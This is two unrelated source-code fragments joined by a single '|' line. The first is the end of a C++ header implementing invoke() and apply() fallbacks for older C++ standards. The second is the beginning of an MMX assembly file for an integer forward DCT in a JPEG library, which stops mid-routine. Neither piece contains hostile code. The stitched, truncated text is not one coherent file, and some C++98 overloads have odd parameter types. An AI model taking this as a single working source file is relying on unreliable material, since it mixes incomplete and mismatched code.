struct result_of<F(T1)> { typedef typename detail::forwardN<F>::template result<T1>::type type; };
template< typename F, typename T1, typename T2 >
struct result_of<F(T1,T2)> { typedef typename detail::forwardN<F>::template result<T1,T2>::type type; };
namespace detail {
template< typename F >
struct forwardN
{
F f;
template< typename T> struct result { typedef T type; };
template< typename R> struct result<R (*)() > { typedef R type; };
// template< typename R, typename C > struct result< R (C::*)() > { typedef R type; };
template< typename T, typename T1 > struct result< T(T1) > { typedef typename result_of< F( T1 ) >::type type; };
template< typename T, typename T1 > struct result< const T(T1) > { typedef typename result_of< const F( T1 ) >::type type; };
template< typename T, typename T1, typename T2 > struct result< T(T1, T2) > { typedef typename result_of< F( T1, T2 ) >::type type; };
template< typename T, typename T1, typename T2 > struct result< const T(T1, T2) > { typedef typename result_of< const F( T1, T2 ) >::type type; };
template< typename T1> typename result< forwardN(T1) >::type operator()( T1 & t1 ) { return f( t1 ); }
template< typename T1> typename result< const forwardN(T1) >::type operator()( T1 & t1 ) const { return f( t1 ); }
template< typename T1, typename T2> typename result< forwardN(T1, T2) >::type operator()( T1 & t1, T2 & t2 ) { return f( t1, t2 ); }
template< typename T1, typename T2> typename result< const forwardN(T1, T2) >::type operator()( T1 & t1, T2 & t2 ) const { return f( t1, t2 ); }
};
} // namespace detail
// limited set of invoke():
// - 0..2 arguments
// - no mix of const and non-const reference arguments
// - ...
template< typename F>
typename result_of<F()>::type
invoke( F f ) { return f(); }
template< typename F, typename T1 >
typename enable_if< !is_member_pointer<F>::value, typename result_of<F(T1)>::type >::type
invoke( F f, T1 const & t1 ) { return f( t1 ); }
template< typename F, typename T1, typename T2, int >
typename enable_if< !is_member_pointer<F>::value, typename result_of<F(T1,T2)>::type >::type
invoke( F f, T1 const & t1, T2 const & t2 ) { return f( t1, t2 ); }
template< typename Base, typename T, typename Obj>
typename enable_if< !is_pointer<Obj>::value && !is_const<Obj>::value, T& >::type
invoke( T Base::* pmd, Obj & ref ) { return ref.*pmd; }
template< typename Base, typename T, typename Obj>
typename enable_if< !is_pointer<Obj>::value && is_const<Obj>::value, T >::type
invoke( T const Base::* pmd, Obj & ref ) { return ref.*pmd; }
template< typename Base, typename T, typename Obj>
typename enable_if< !is_const<Obj>::value, T& >::type
invoke( T Base::* pmd, Obj * ptr ) { return (*ptr).*pmd; }
template< typename Base, typename T, typename Obj>
typename enable_if< is_const<Obj>::value, T >::type
invoke( T const Base::*pmd, Obj * ptr ) { return (*ptr).*pmd; }
template< typename R, typename Base, typename Obj> R invoke( R (Base::*pmf)() const, Obj const & ref ) { return (ref.*pmf)(); }
template< typename R, typename Base, typename Obj> R invoke( R (Base::*pmf)() , Obj & ref ) { return (ref.*pmf)(); }
template< typename R, typename Base, typename Obj> R invoke( R (Base::*pmf)() const, Obj * ptr ) { return ((*ptr).*pmf)(); }
template< typename R, typename Base, typename Obj> R invoke( R (Base::*pmf)() , Obj * ptr ) { return ((*ptr).*pmf)(); }
template< typename R, typename Base, typename Obj, typename T1 > R invoke( R (Base::*pmf)(T1) const, Obj const & ref, T1 const & t1 ) { return (ref.*pmf)( t1 ); }
template< typename R, typename Base, typename Obj, typename T1 > R invoke( R (Base::*pmf)(T1) , Obj & ref, T1 const & t1 ) { return (ref.*pmf)( t1 ); }
template< typename R, typename Base, typename Obj, typename A1
, typename T1 > R invoke( R (Base::*pmf)(A1) , Obj & ref, T1 & t1 ) { return (ref.*pmf)( t1 ); }
template< typename R, typename Base, typename Obj, typename T1 > R invoke( R (Base::*pmf)(T1) const, Obj const * ptr, T1 const & t1 ) { return ((*ptr).*pmf)( t1 ); }
template< typename R, typename Base, typename Obj, typename T1 > R invoke( R (Base::*pmf)(T1) , Obj * ptr, T1 const & t1 ) { return ((*ptr).*pmf)( t1 ); }
template< typename R, typename Base, typename Obj, typename A1
, typename T1 > R invoke( R (Base::*pmf)(A1) , Obj * ptr, T1 & t1 ) { return ((*ptr).*pmf)( t1 ); }
template< typename R, typename Base, typename Obj, typename T1, typename T2 > R invoke( R (Base::*pmf)(T1,T2) const, Obj const & ref, T1 const & t1 , T2 const & t2 ) { return (ref.*pmf)( t1, t2 ); }
template< typename R, typename Base, typename Obj, typename T1, typename T2 > R invoke( R (Base::*pmf)(T1,T2) , Obj & ref, T1 const & t1 , T2 const & t2 ) { return (ref.*pmf)( t1, t2 ); }
template< typename R, typename Base, typename Obj, typename A1, typename A2
, typename T1, typename T2 > R invoke( R (Base::*pmf)(A1,A2) , Obj & ref, T2 & t1 , T2 & t2 ) { return (ref.*pmf)( t1, t2 ); }
template< typename R, typename Base, typename Obj, typename T1, typename T2 > R invoke( R (Base::*pmf)(T1,T2) const, Obj const * ptr, T1 const & t1 , T2 const & t2 ) { return ((*ptr).*pmf)( t1, t2 ); }
template< typename R, typename Base, typename Obj, typename T1, typename T2 > R invoke( R (Base::*pmf)(T1,T2) , Obj * ptr, T1 const & t1 , T2 const & t2 ) { return ((*ptr).*pmf)( t1, t2 ); }
template< typename R, typename Base, typename Obj, typename A1, typename A2
, typename T1, typename T2 > R invoke( R (Base::*pmf)(A1,A2) , Obj * ptr, T2 & t1 , T2 & t2 ) { return ((*ptr).*pmf)( t1, t2 ); }
}} // namespace nonstd::std98
// Bring C++98 invoke() into scope nonstd:
namespace nonstd {
using std98::invoke;
}
#endif // invoke_CPP17_OR_GREATER, invoke_CPP11_OR_GREATER - invoke()
#endif // invoke_USES_STD_INVOKE - invoke()
//
// nonstd::apply():
//
// C++11 implementation contributed by Peter Featherstone, @pfeatherstone.
#if invoke_USES_STD_INVOKE
#pragma message invoke_lpar "*** Using std::apply." invoke_rpar
#include <tuple>
using std::apply;
namespace nonstd {
using std::apply;
}
#elif invoke_CPP11_OR_GREATER
#pragma message invoke_lpar "*** Using nonstd::invoke - C++11" invoke_rpar
#include <array>
#include <tuple>
namespace nonstd { namespace apply_lite {
#if invoke_CPLUSPLUS < 201402L
#pragma message invoke_lpar "*** Defining index_sequence etc." invoke_rpar
template< std::size_t... Ints >
struct index_sequence
{
using type = index_sequence;
using value_type = std::size_t;
static constexpr std::size_t size() noexcept { return sizeof...(Ints); }
};
template< class Sequence1, class Sequence2 >
struct merge_and_renumber;
template< std::size_t... I1, std::size_t... I2 >
struct merge_and_renumber< index_sequence<I1...>, index_sequence<I2...>>
: index_sequence<I1..., (sizeof...(I1) + I2)...> {};
template<std::size_t N>
struct make_index_sequence
: merge_and_renumber<
typename make_index_sequence < N / 2 >::type,
typename make_index_sequence < N - N / 2 >::type > {};
template<> struct make_index_sequence<0> : index_sequence<> {};
template<> struct make_index_sequence<1> : index_sequence<0> {};
template<typename... Ts>
using index_sequence_for = make_index_sequence<sizeof...(Ts)>;
#else // invoke_CPLUSPLUS < 201402L
using std::index_sequence;
using std::make_index_sequence;
using std::index_sequence_for;
#endif // invoke_CPLUSPLUS < 201402L
#pragma message invoke_lpar "*** Using nonstd::apply - C++11." invoke_rpar
namespace detail {
template< typename F, typename Tuple, std::size_t... I >
constexpr
auto apply_impl( F&& fn, Tuple && tpl, index_sequence<I...> )
-> decltype( invoke( std::forward<F>(fn), std::get<I>(std::forward<Tuple>(tpl) )...) )
{
return invoke( std::forward<F>(fn), std::get<I>( std::forward<Tuple>(tpl) )...);
}
} // namespace detail
template< typename F, typename Tuple >
constexpr
auto apply( F&& fn, Tuple && tpl )
-> decltype(
detail::apply_impl(
std::forward<F>( fn )
, std::forward<Tuple>( tpl )
, make_index_sequence<std::tuple_size<typename std::decay<Tuple>::type>::value>{}
)
)
{
return detail::apply_impl(
std::forward<F>(fn)
, std::forward<Tuple>(tpl)
, make_index_sequence<std::tuple_size<typename std::decay<Tuple>::type >::value>{}
);
}
}} // namespace nonstd::apply_lite
// Bring apply() into scope nonstd:
namespace nonstd {
using apply_lite::apply;
}
#else // invoke_CPP11_OR_GREATER - apply()
#pragma message invoke_lpar "*** nonstd::apply(): No implementation for C++98." invoke_rpar
#endif // invoke_USES_STD_INVOKE - apply()
#endif // NONSTD_INVOKE_LITE_HPP
|
;
; jfdctint.asm - accurate integer FDCT (MMX)
;
; Copyright 2009 Pierre Ossman <ossman@cendio.se> for Cendio AB
; Copyright (C) 2016, D. R. Commander.
;
; Based on the x86 SIMD extension for IJG JPEG library
; Copyright (C) 1999-2006, MIYASAKA Masaru.
; For conditions of distribution and use, see copyright notice in jsimdext.inc
;
; This file should be assembled with NASM (Netwide Assembler),
; can *not* be assembled with Microsoft's MASM or any compatible
; assembler (including Borland's Turbo Assembler).
; NASM is available from http://nasm.sourceforge.net/ or
; http://sourceforge.net/project/showfiles.php?group_id=6208
;
; This file contains a slow-but-accurate integer implementation of the
; forward DCT (Discrete Cosine Transform). The following code is based
; directly on the IJG's original jfdctint.c; see the jfdctint.c for
; more details.
;
; [TAB8]
%include "jsimdext.inc"
%include "jdct.inc"
; --------------------------------------------------------------------------
%define CONST_BITS 13
%define PASS1_BITS 2
%define DESCALE_P1 (CONST_BITS-PASS1_BITS)
%define DESCALE_P2 (CONST_BITS+PASS1_BITS)
%if CONST_BITS == 13
F_0_298 equ 2446 ; FIX(0.298631336)
F_0_390 equ 3196 ; FIX(0.390180644)
F_0_541 equ 4433 ; FIX(0.541196100)
F_0_765 equ 6270 ; FIX(0.765366865)
F_0_899 equ 7373 ; FIX(0.899976223)
F_1_175 equ 9633 ; FIX(1.175875602)
F_1_501 equ 12299 ; FIX(1.501321110)
F_1_847 equ 15137 ; FIX(1.847759065)
F_1_961 equ 16069 ; FIX(1.961570560)
F_2_053 equ 16819 ; FIX(2.053119869)
F_2_562 equ 20995 ; FIX(2.562915447)
F_3_072 equ 25172 ; FIX(3.072711026)
%else
; NASM cannot do compile-time arithmetic on floating-point constants.
%define DESCALE(x,n) (((x)+(1<<((n)-1)))>>(n))
F_0_298 equ DESCALE( 320652955,30-CONST_BITS) ; FIX(0.298631336)
F_0_390 equ DESCALE( 418953276,30-CONST_BITS) ; FIX(0.390180644)
F_0_541 equ DESCALE( 581104887,30-CONST_BITS) ; FIX(0.541196100)
F_0_765 equ DESCALE( 821806413,30-CONST_BITS) ; FIX(0.765366865)
F_0_899 equ DESCALE( 966342111,30-CONST_BITS) ; FIX(0.899976223)
F_1_175 equ DESCALE(1262586813,30-CONST_BITS) ; FIX(1.175875602)
F_1_501 equ DESCALE(1612031267,30-CONST_BITS) ; FIX(1.501321110)
F_1_847 equ DESCALE(1984016188,30-CONST_BITS) ; FIX(1.847759065)
F_1_961 equ DESCALE(2106220350,30-CONST_BITS) ; FIX(1.961570560)
F_2_053 equ DESCALE(2204520673,30-CONST_BITS) ; FIX(2.053119869)
F_2_562 equ DESCALE(2751909506,30-CONST_BITS) ; FIX(2.562915447)
F_3_072 equ DESCALE(3299298341,30-CONST_BITS) ; FIX(3.072711026)
%endif
; --------------------------------------------------------------------------
SECTION SEG_CONST
alignz 32
global EXTN(jconst_fdct_islow_mmx)
EXTN(jconst_fdct_islow_mmx):
PW_F130_F054 times 2 dw (F_0_541+F_0_765), F_0_541
PW_F054_MF130 times 2 dw F_0_541, (F_0_541-F_1_847)
PW_MF078_F117 times 2 dw (F_1_175-F_1_961), F_1_175
PW_F117_F078 times 2 dw F_1_175, (F_1_175-F_0_390)
PW_MF060_MF089 times 2 dw (F_0_298-F_0_899),-F_0_899
PW_MF089_F060 times 2 dw -F_0_899, (F_1_501-F_0_899)
PW_MF050_MF256 times 2 dw (F_2_053-F_2_562),-F_2_562
PW_MF256_F050 times 2 dw -F_2_562, (F_3_072-F_2_562)
PD_DESCALE_P1 times 2 dd 1 << (DESCALE_P1-1)
PD_DESCALE_P2 times 2 dd 1 << (DESCALE_P2-1)
PW_DESCALE_P2X times 4 dw 1 << (PASS1_BITS-1)
alignz 32
; --------------------------------------------------------------------------
SECTION SEG_TEXT
BITS 32
;
; Perform the forward DCT on one block of samples.
;
; GLOBAL(void)
; jsimd_fdct_islow_mmx (DCTELEM *data)
;
%define data(b) (b)+8 ; DCTELEM *data
%define original_ebp ebp+0
%define wk(i) ebp-(WK_NUM-(i))*SIZEOF_MMWORD ; mmword wk[WK_NUM]
%define WK_NUM 2
align 32
global EXTN(jsimd_fdct_islow_mmx)
EXTN(jsimd_fdct_islow_mmx):
push ebp
mov eax,esp ; eax = original ebp
sub esp, byte 4
and esp, byte (-SIZEOF_MMWORD) ; align to 64 bits
mov [esp],eax
mov ebp,esp ; ebp = aligned ebp
lea esp, [wk(0)]
pushpic ebx
; push ecx ; need not be preserved
; push edx ; need not be preserved
; push esi ; unused
; push edi ; unused
get_GOT ebx ; get GOT address
; ---- Pass 1: process rows.
mov edx, POINTER [data(eax)] ; (DCTELEM *)
mov ecx, DCTSIZE/4
alignx 16,7
.rowloop:
movq mm0, MMWORD [MMBLOCK(2,0,edx,SIZEOF_DCTELEM)]
movq mm1, MMWORD [MMBLOCK(3,0,edx,SIZEOF_DCTELEM)]
movq mm2, MMWORD [MMBLOCK(2,1,edx,SIZEOF_DCTELEM)]
movq mm3, MMWORD [MMBLOCK(3,1,edx,SIZEOF_DCTELEM)]
; mm0=(20 21 22 23), mm2=(24 25 26 27)
; mm1=(30 31 32 33), mm3=(34 35 36 37)
movq mm4,mm0 ; transpose coefficients(phase 1)
punpcklwd mm0,mm1 ; mm0=(20 30 21 31)
punpckhwd mm4,mm1 ; mm4=(22 32 23 33)
movq mm5,mm2 ; transpose coefficients(phase 1)
punpcklwd mm2,mm3 ; mm2=(24 34 25 35)
punpckhwd mm5,mm3 ; mm5=(26 36 27 37)
movq mm6, MMWORD [MMBLOCK(0,0,edx,SIZEOF_DCTELEM)]
movq mm7, MMWORD [MMBLOCK(1,0,edx,SIZEOF_DCTELEM)]
movq mm1, MMWORD [MMBLOCK(0,1,edx,SIZEOF_DCTELEM)]
movq mm3, MMWORD [MMBLOCK(1,1,edx,SIZEOF_DCTELEM)]
; mm6=(00 01 02 03), mm1=(04 05 06 07)
; mm7=(10 11 12 13), mm3=(14 15 16 17)
movq MMWORD [wk(0)], mm4 ; wk(0)=(22 32 23 33)
movq MMWORD [wk(1)], mm2 ; wk(1)=(24 34 25 35)
movq mm4,mm6 ; transpose coefficients(phase 1)
punpcklwd mm6,mm7 ; mm6=(00 10 01 11)
punpckhwd mm4,mm7 ; mm4=(02 12 03 13)
movq mm2,mm1 ; transpose coefficients(phase 1)
punpcklwd mm1,mm3 ; mm1=(04 14 05 15)
punpckhwd mm2,mm3 ; mm2=(06 16 07 17)
movq mm7,mm6 ; transpose coefficients(phase 2)
punpckldq mm6,mm0 ; mm6=(00 10 20 30)=data0
punpckhdq mm7,mm0 ; mm7=(01 11 21 31)=data1
movq mm3,mm2 ; transpose coefficients(phase 2)
punpckldq mm2,mm5 ; mm2=(06 16 26 36)=data6
punpckhdq mm3,mm5 ; mm3=(07 17 27 37)=data7
movq mm0,mm7
movq mm5,mm6
psubw mm7,mm2 ; mm7=data1-data6=tmp6
psubw mm6,mm3 ; mm6=data0-data7=tmp7
paddw mm0,mm2 ; mm0=data1+data6=tmp1
paddw mm5,mm3 ; mm5=data0+data7=tmp0
movq mm2, MMWORD [wk(0)] ; mm2=(22 32 23 33)
movq mm3, MMWORD [wk(1)] ; mm3=(24 34 25 35)
movq MMWORD [wk(0)], mm7 ; wk(0)=tmp6
movq MMWORD [wk(1)], mm6 ; wk(1)=tmp7
movq mm7,mm4 ; transpose coefficients(phase 2)
punpckldq mm4,mm2 ; mm4=(02 12 22 32)=data2
punpckhdq mm7,mm2 ; mm7=(03 13 23 33)=data3
movq mm6,mm1 ; transpose coefficients(phase 2)
punpckldq mm1,mm3 ; mm1=(04 14 24 34)=data4
punpckhdq mm6,mm3 ; mm6=(05 15 25 35)=data5
movq mm2,mm7
movq mm3,mm4
paddw mm7,mm1 ; mm7=data3+data4=tmp3
paddw mm4,mm6 ; mm4=data2+data5=tmp2
psubw mm2,mm1 ; mm2=data3-data4=tmp4
psubw mm3,mm6 ; mm3=data2-data5=tmp5
; -- Even part
movq mm1,mm5
movq mm6,mm0
paddw mm5,mm7 ; mm5=tmp10
paddw mm0,mm4 ; mm0=tmp11
psubw mm1,mm7 ; mm1=tmp13
psubw mm6,mm4 ; mm6=tmp12
movq mm7,mm5
paddw mm5,mm0 ; mm5=tmp10+tmp11
psubw mm7,mm0 ; mm7=tmp10-tmp11
psllw mm5,PASS1_BITS ; mm5=data0
psllw mm7,PASS1_BITS ; mm7=data4
movq MMWORD [MMBLOCK(0,0,edx,SIZEOF_DCTELEM)], mm5
movq MMWORD [MMBLOCK(0,1,edx,SIZEOF_DCTELEM)], mm7
; (Original)
; z1 = (tmp12 + tmp13) * 0.541196100;
; data2 = z1 + tmp13 * 0.765366865;
; data6 = z1 + tmp12 * -1.847759065;
;
; (This implementation)
; data2 = tmp13 * (0.541196100 + 0.765366865) + tmp12 * 0.541196100;
; data6 = tmp13 * 0.541196100 + tmp12 * (0.541196100 - 1.847759065);
movq mm4,mm1 ; mm1=tmp13
movq mm0,mm1
punpcklwd mm4,mm6 ; mm6=tmp12
punpckhwd mm0,mm6
movq mm1,mm4
movq mm6,mm0
pmaddwd mm4,[GOTOFF(ebx,PW_F130_F054)] ; mm4=data2L
pmaddwd mm0,[GOTOFF(ebx,PW_F130_F054)] ; mm0=data2H
pmaddwd mm1,[GOTOFF(ebx,PW_F054_MF130)] ; mm1=data6L
pmaddwd mm6,[GOTOFF(ebx,PW_F054_MF130)] ; mm6=data6H
paddd mm4,[GOTOFF(ebx,PD_DESCALE_P1)]
paddd mm0,[GOTOFF(ebx,PD_DESCALE_P1)]
psrad mm4,DESCALE_P1
psrad mm0,DESCALE_P1
paddd mm1,[GOTOFF(ebx,PD_DESCALE_P1)]
paddd mm6,[GOTOFF(ebx,PD_DESCALE_P1)]
psrad mm1,DESCALE_P1
psrad mm6,DESCALE_P1
packssdw mm4,mm0 ; mm4=data2
packssdw mm1,mm6 ; mm1=data6
movq MMWORD [MMBLOCK(2,0,edx,SIZEOF_DCTELEM)], mm4
movq MMWORD [MMBLOCK(2,1,edx,SIZEOF_DCTELEM)], mm1
; -- Odd part
movq mm5, MMWORD [wk(0)] ; mm5=tmp6
movq mm7, MMWORD [wk(1)] ; mm7=tmp7
movq mm0,mm2 ; mm2=tmp4
movq mm6,mm3 ; mm3=tmp5
paddw mm0,mm5 ; mm0=z3
paddw mm6,mm7 ; mm6=z4
; (Original)
; z5 = (z3 + z4) * 1.175875602;
; z3 = z3 * -1.961570560; z4 = z4 * -0.390180644;
; z3 += z5; z4 += z5;
;
; (This implementation)
; z3 = z3 * (1.175875602 - 1.961570560) + z4 * 1.175875602;
; z4 = z3 * 1.175875602 + z4 * (1.175875602 - 0.390180644);
movq mm4,mm0
movq mm1,mm0
punpcklwd mm4,mm6
punpckhwd mm1,mm6
movq mm0,mm4
movq mm6,mm1
pmaddwd mm4,[GOTOFF(ebx,PW_MF078_F117)] ; mm4=z3L
pmaddwd mm1,[GOTOFF(ebx,PW_MF078_F117)] ; mm1=z3H
pmaddwd mm0,[GOTOFF(ebx,PW_F117_F078)] ; mm0=z4L
pmaddwd mm6,[GOTOFF(ebx,PW_F117_F078)] ; mm6=z4H
movq MMWORD [wk(0)], mm4 ; wk(0)=z3L
movq MMWORD [wk(1)], mm1 ; wk(1)=z3H
; (Original)
; z1 = tmp4 + tmp7; z2 = tmp5 + tmp6;
; tmp4 = tmp4 * 0.298631336; tmp5 = tmp5 * 2.053119869;
; tmp6 = tmp6 * 3.072711026; tmp7 = tmp7 * 1.501321110;
; z1 = z1 * -0.899976223; z2 = z2 * -2.562915447;
; data7 = tmp4 + z1 + z3; data5 = tmp5 + z2 + z4;
; data3 = tmp6 + z2 + z3; data1 = tmp7 + z1 + z4;
;
; (This implementation)
; tmp4 = tmp4 * (0.298631336 - 0.899976223) + tmp7 * -0.899976223;
; tmp5 = tmp5 * (2.053119869 - 2.562915447) + tmp6 * -2.562915447;
; tmp6 = tmp5 * -2.562915447 + tmp6 * (3.072711026 - 2.562915447);
; tmp7 = tmp4 * -0.899976223 + tmp7 * (1.501321110 - 0.899976223);
; data7 = tmp4 + z3; data5 = tmp5 + z4;
; data3 = tmp6 + z3; data1 = tmp7 + z4;
movq mm4,mm2
movq mm1,mm2
punpcklwd mm4,mm7
punpckhwd mm1,mm7
movq mm2,mm4
movq mm7,mm1
pmaddwd mm4,[GOTOFF(ebx,PW_MF060_MF089)] ; mm4=tmp4L
pmaddwd mm1,[GOTOFF(ebx,PW_MF060_MF089)] ; mm1=tmp4H
pmaddwd mm2,[GOTOFF(ebx,PW_MF089_F060)] ; mm2=tmp7L
pmaddwd mm7,[GOTOFF(ebx,PW_MF089_F060)] ; mm7=tmp7H
paddd mm4, MMWORD [wk(0)] ; mm4=data7L
paddd mm1, MMWORD [wk(1)] ; mm1=data7H
paddd mm2,mm0 ; mm2=data1L
paddd mm7,mm6 ; mm7=data1H
paddd mm4,[GOTOFF(ebx,PD_DESCALE_P1)]
paddd mm1,[GOTOFF(ebx,PD_DESCALE_P1)]
psrad mm4,DESCALE_P1
psrad mm1,DESCALE_P1
paddd mm2,[GOTOFF(ebx,PD_DESCALE_P1)]
paddd mm7,[GOTOFF(ebx,PD_DESCALE_P1)]
psrad mm2,DESCALE_P1
psrad mm7,DESCALE_P1
packssdw mm4,mm1 ; mm4=data7
packssdw mm2,mm7 ; mm2=data1
movq MMWORD [MMBLOCK(3,1,edx,SIZEOF_DCTELEM)], mm4
movq MMWORD [MMBLOCK(1,0,edx,SIZEOF_DCTELEM)], mm2
movq mm1,mm3
movq mm7,mm3
punpcklwd mm1,mm5
punpckhwd mm7,mm5
movq mm3,mm1
movq mm5,mm7
pmaddwd mm1,[GOTOFF(ebx,PW_MF050_MF256)] ; mm1=tmp5L
pmaddwd mm7,[GOTOFF(ebx,PW_MF050_MF256)] ; mm7=tmp5H
pmaddwd mm3,[GOTOFF(ebx,PW_MF256_F050)] ; mm3=tmp6L
pmaddwd mm5,[GOTOFF(ebx,PW_MF256_F050)] ; mm5=tmp6H
paddd mm1,mm0 ; mm1=data5L
paddd mm7,mm6 ; mm7=data5H
paddd mm3, MMWORD [wk(0)] ; mm3=data3L
paddd mm5, MMWORD [wk(1)] ; mm5=data3H
paddd mm1,[GOTOFF(ebx,PD_DESCALE_P1)]
paddd mm7,[GOTOFF(ebx,PD_DESCALE_P1)]
psrad mm1,DESCALE_P1
psrad mm7,DESCALE_P1
paddd mm3,[GOTOFF(ebx,PD_DESCALE_P1)]
paddd mm5,[GOTOFF(ebx,PD_DESCALE_P1)]
psrad mm3,DESCALE_P1
psrad mm5,DESCALE_P1
packssdw mm1,mm7 ; mm1=data5
packssdw mm3,mm5 ; mm3=data3
movq MMWORD [MMBLOCK(1,1,edx,SIZEOF_DCTELEM)], mm1
movq MMWORD [MMBLOCK(3,0,edx,SIZEOF_DCTELEM)], mm3
add edx, byte 4*DCTSIZE*SIZEOF_DCTELEM
dec ecx
jnz near .rowloop
; ---- Pass 2: process columns.
mov edx, POINTER [data(eax)] ; (DCTELEM *)
mov ecx, DCTSIZE/4
alignx 16,7
.columnloop:
movq mm0, MMWORD [MMBLOCK(2,0,edx,SIZEOF_DCTELEM)]
movq mm1, MMWORD [MMBLOCK(3,0,edx,SIZEOF_DCTELEM)]
movq mm2, MMWORD [MMBLOCK(6,0,edx,SIZEOF_DCTELEM)]
movq mm3, MMWORD [MMBLOCK(7,0,edx,SIZEOF_DCTELEM)]
; mm0=(02 12 22 32), mm2=(42 52 62 72)
; mm1=(03 13 23 33), mm3=(43 53 63 73)
movq mm4,mm0 ; transpose coefficients(phase 1)
punpcklwd mm0,mm1 ; mm0=(02 03 12 13)
punpckhwd mm4,mm1 ; mm4=(22 23 32 33)
movq mm5,mm2 ; transpose coefficients(phase 1)
punpcklwd mm2,mm3 ; mm2=(42 43 52 53)
punpckhwd mm5,mm3 ; mm5=(62 63 72 73)
movq mm6, MMWORD [MMBLOCK(0,0,edx,SIZEOF_DCTELEM)]
movq mm7, MMWORD [MMBLOCK(1,0,edx,SIZEOF_DCTELEM)]
movq mm1, MMWORD [MMBLOCK(4,0,edx,SIZEOF_DCTELEM)]
movq mm3, MMWORD [MMBLOCK(5,0,edx,SIZEOF_DCTELEM)]
; mm6=(00 10 20 30), mm1=(40 50 60 70)
; mm7=(01 11 21 31), mm3=(41 51 61 71)
movq MMWORD [wk(0)], mm4 ; wk(0)=(22 23 32 33)
movq MMWORD [wk(1)], mm2 ; wk(1)=(42 43 52 53)
movq mm4,mm6 ; transpose coefficients(phase 1)
punpcklwd mm6,mm7 ; mm6=(00 01 10 11)
punpckhwd mm4,mm7 ; mm4=(20 21 30 31)
movq mm2,mm1 ; transpose coefficients(phase 1)
punpcklwd mm1,mm3 ; mm1=(40 41 50 51)
punpckhwd mm2,mm3 ; mm2=(60 61 70 71)
movq mm7,mm6 ; transpose coefficients(phase 2)
punpckldq mm6,mm0 ; mm6=(00 01 02 03)=data0
punpckhdq mm7,mm0 ; mm7=(10 11 12 13)=data1
movq mm3,mm2 ; transpose coefficients(phase 2)
punpckldq mm2,mm5 ; mm2=(60 61 62 63)=data6
punpckhdq mm3,mm5 ; mm3=(70 71 72 73)=data7
movq mm0,mm7
movq mm5,mm6
psubw mm7,mm2 ; mm7=data1-data6=tmp6
psubw mm6,mm3 ; mm6=data0-data7=tmp7
paddw mm0,mm2 ; mm0=data1+data6=tmp1
paddw mm5,mm3 ; mm5=data0+data7=tmp0
movq mm2, MMWORD [wk(0)] ; mm2=(22 23 32 33)
movq mm3, MMWORD [wk(1)] ; mm3=(42 43 52 53)
movq MMWORD [wk(0)], mm7 ; wk(0)=tmp6
movq MMWORD [wk(1)], mm6 ; wk(1)=tmp7
movq mm7,mm4 ; transpose coefficients(phase 2)
punpckldq mm4,mm2 ; mm4=(20 21 22 23)=data2
punpckhdq mm7,mm2 ; mm7=(30 31 32 33)=data3
movq mm6,mm1 ; transpose coefficients(phase 2)
punpckldq mm1,mm3 ; mm1=(40 41 42 43)=data4
punpckhdq mm6,mm3 ; mm6=(50 51 52 53)=data5
movq mm2,mm7
movq mm3,mm4
paddw mm7,mm1 ; mm7=data3+data4=tmp3
paddw mm4,mm6 ; mm4=data2+data5=tmp2
psubw mm2,mm1 ; mm2=data3-data4=tmp4
psubw mm3,mm6 ; mm3=data2-data5=tmp5
; -- Even part
movq mm1,mm5
movq mm6,mm0
paddw mm5,mm7 ; mm5=tmp10
paddw mm0,mm4 ; mm0=tmp11
psubw mm1,mm7 ; mm1=tmp13
psubw mm6,mm4 ; mm6=tmp12
movq mm7,mm5
paddw mm5,mm0 ; mm5=tmp10+tmp11
psubw mm7,mm0 ; mm7=tmp10-tmp11
paddw mm5,[GOTOFF(ebx,PW_DESCALE_P2X)]
paddw mm7,[GOTOFF(ebx,PW_DESCALE_P2X)]
psraw mm5,PASS1_BITS ; mm5=data0
psraw mm7,PASS1_BITS ; mm7=data4
movq MMWORD [MMBLOCK(0,0,edx,SIZEOF_DCTELEM)], mm5
movq MMWORD [MMBLOCK(4,0,edx,SIZEOF_DCTELEM)], mm7
; (Original)
; z1 = (tmp12 + tmp13) * 0.541196100;
; data2 = z1 + tmp13 * 0.765366865;
; data6 = z1 + tmp12 * -1.847759065;
;
; (This implementation)
; data2 = tmp13 * (0.541196100 + 0.765366865) + tmp12 * 0.541196100;
; data6 = tmp13 * 0.541196100 + tmp12 * (0.541196100 - 1.847759065);
movq mm4,mm1 ; mm1=tmp13
movq mm0,mm1
punpcklwd mm4,mm6 ; mm6=tmp12
punpckhwd mm0,mm6
movq mm1,mm4
movq mm6,mm0
pmaddwd mm4,[GOTOFF(ebx,PW_F130_F054)] ; mm4=data2L
pmaddwd mm0,[GOTOFF(ebx,PW_F130_F054)] ; mm0=data2H
pmaddwd mm1,[GOTOFF(ebx,PW_F054_MF130)] ; mm1=data6L
pmaddwd mm6,[GOTOFF(ebx,PW_F054_MF130)] ; mm6=data6H
paddd mm4,[GOTOFF(ebx,PD_DESCALE_P2)]
paddd mm0,[GOTOFF(ebx,PD_DESCALE_P2)]
psrad mm4,DESCALE_P2
psrad mm0,DESCALE_P2
paddd mm1,[GOTOFF(ebx,PD_DESCALE_P2)]
paddd mm6,[GOTOFF(ebx,PD_DESCALE_P2)]
psrad mm1,DESCALE_P2
psrad mm6,DESCALE_P2
packssdw mm4,mm0 ; mm4=data2
packssdw mm1,mm6 ; mm1=data6
movq MMWORD [MMBLOCK(2,0,edx,SIZEOF_DCTELEM)], mm4
movq MMWORD [MMBLOCK(6,0,edx,SIZEOF_DCTELEM)], mm1
; -- Odd part
movq mm5, MMWORD [wk(0)] ; mm5=tmp6
movq mm7, MMWORD [wk(1)] ; mm7=tmp7
movq mm0,mm2 ; mm2=tmp4
movq mm6,mm3 ; mm3=tmp5
paddw mm0,mm5 ; mm0=z3
paddw mm6,mm7 ; mm6=z4
; (Original)
; z5 = (z3 + z4) * 1.175875602;
; z3 = z3 * -1.961570560; z4 = z4 * -0.390180644;
; z3 += z5; z4 += z5;
;
; (This implementation)
; z3 = z3 * (1.175875602 - 1.961570560) + z4 * 1.175875602;
; z4 = z3 * 1.175875602 + z4 * (1.175875602 - 0.390180644);
movq mm4,mm0
movq mm1,mm0
punpcklwd mm4,mm6
punpckhwd mm1,mm6
movq mm0,mm4
movq mm6,mm1
pmaddwd mm4,[GOTOFF(ebx,PW_MF078_F117)] ; mm4=z3L
pmaddwd mm1,[GOTOFF(ebx,PW_MF078_F117)] ; mm1=z3H
pmaddwd mm0,[GOTOFF(ebx,PW_F117_F078)] ; mm0=z4L
pmaddwd mm6,[GOTOFF(ebx,PW_F117_F078)] ; mm6=z4H
movq MMWORD [wk(0)], mm4 ; wk(0)=z3L
movq MMWORD [wk(1)], mm1 ; wk(1)=z3H
; (Original)
